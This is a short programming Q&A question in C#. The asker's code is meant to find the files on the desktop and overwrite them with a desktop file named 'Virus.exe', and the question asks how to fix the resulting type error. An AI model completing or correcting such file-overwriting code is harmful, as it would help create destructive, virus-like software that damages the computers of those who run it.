Can you convert an IEnumerated string to a normal string?
<p>I'm using this to find and replace exe files</p>

<pre><code>public static void Replace()
{
    string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file
    IEnumerable&lt;string&gt; toOverwrite = EnumerateFiles(); //newly enumarated files
    string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary)
    File.Replace (origFile, toOverwrite, backupFile); //replaces files
}
public static IEnumerable&lt;string&gt; EnumerateFiles()
{
    string pathToSearch = Environment.GetFolderPath (Environment.SpecialFolder.DesktopDirectory); //Sets search directory to the desktop
    IEnumerable&lt;string&gt; exeFiles = Directory.EnumerateFiles (pathToSearch); //Searches desktop for all exe files
    return exeFiles; //Returns enumerated list of files
}
</code></pre>

<p>but when I do the File.Replace method, it tells me that I can't convert IEnumerable String to a normal String. How can I change the string type without changing the value?</p>